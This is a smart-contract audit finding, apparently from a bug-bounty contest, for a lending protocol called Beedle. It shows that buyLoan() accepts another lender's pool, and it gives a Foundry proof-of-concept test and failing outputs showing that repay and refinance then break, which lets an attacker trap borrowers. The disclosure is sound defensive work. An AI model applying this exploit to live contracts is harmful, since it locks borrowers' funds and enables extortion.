20,000 USDC
View results
Submission Details
Severity: high
Valid

User can Buy loan without a pre-existing PoolID, which breaks Refinance, Repay, BuyLoan and GiveLoan functions, locking funds of the borrower

Vulnerability Details

buyLoan() does not enforce you use one of your own pools as an input parameter. Therefore you could have never created a pool, buyLoan() by inputting another address' pool and successfully buy loan to yourself. The attempts to alter the Pool struct's values do not work as the Struct has not been created yet. The lender is set to msg.sender, who doesn't have a pool which breaks functionality of several functions which contain this code pattern:

bytes32 oldPoolId = getPoolId(
loan.lender,
loan.loanToken,
loan.collateralToken
);
_updatePoolBalance(
oldPoolId,
pools[oldPoolId].poolBalance + loan.debt + lenderInterest
);
pools[oldPoolId].outstandingLoans -= loan.debt;

The getPoolId assumes that the lender has initiated a pool, which is untrue. In this case the function reverts.

This POC proves that you can buy a loan into an address with no pre-existing poolID. The contract address, address(this) never creates a pool, but ends up as the owner the loan. The POC should be copy/pasted into the lender.t.sol in Beedle folder.

function test_buyLoan_broken() public {
test_borrow();
// accrue interest
vm.warp(block.timestamp + 364 days + 12 hours);
// kick off auction
vm.startPrank(lender1);
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = 0;
lender.startAuction(loanIds);
vm.startPrank(lender2);
Pool memory p = Pool({
lender: lender2,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100*10**18,
poolBalance: 1000*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 poolId_lender2 = lender.setPool(p);
// warp to middle of auction
vm.warp(block.timestamp + 12 hours);
vm.stopPrank();
lender.buyLoan(0, poolId_lender2);
(address new_lender,,,,,,,,,) = lender.loans(0);
//test contract is now owner of loan
assertEq(new_lender, address(this));
//insert transactions here:
}

In the //insert transactions here part, you can substitute attempts to repay, giveLoan, refinance etc to verify they are broken. For example, repay reverts due to over/underflow and refinance reverts due to tokenMismatch. Basically every function is broken.

//insert attempted transactions here:
vm.prank(borrower);
lender.repay(loanIds);
[FAIL. Reason: Arithmetic over/underflow] test_buyLoan_malicious()
due to pools[poolId].outstandingLoans -= loan.debt;
//////////////////////////////////////////////////
//insert attempted transactions here:
bytes32[] memory poolIds = new bytes32[](1);
poolIds[0] = poolId_lender2;
lender.giveLoan(loanIds, poolIds);
Failing tests:
Encountered 1 failing test in test/Lender.t.sol:LenderTest
[FAIL. Reason: Arithmetic over/underflow] test_buyLoan_malicious() (gas: 912678)
///////////////////////////////////////////////////
//insert attempted transactions here:
vm.startPrank(borrower);
Refinance memory r = Refinance({
loanId: 0,
poolId: keccak256(
abi.encode(
address(lender1),
address(loanToken),
address(collateralToken)
)
),
debt: 100*10**18,
collateral: 100*10**18
});
Refinance[] memory rs = new Refinance[](1);
rs[0] = r;
lender.refinance(rs);
Encountered 1 failing test in test/Lender.t.sol:LenderTest
[FAIL. Reason: TokenMismatch()] test_buyLoan_malicious() (gas: 902857)

An attacker can purposely buy a loan without poolID so that the borrower can never repay or refinance until the attacker creates a pool. The attacker can wait a long time before creating a pool (creating a pool with accurate specifications can restart functionality), so they can can collect interest over a long period of time, or they can blackmail the borrower.

Impact

BuyLoan transfers to a address with a non-existent poolId, which can break multiple Refinance, BuyLoan and GiveLoan, causing to revert or update invalid values

Tools Used

Foundry

Manual Review

Recommendations

Ensure that buyLoan() can only transfer loans to the owner of the input pool. Ensure msg.sender == owner of pool

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.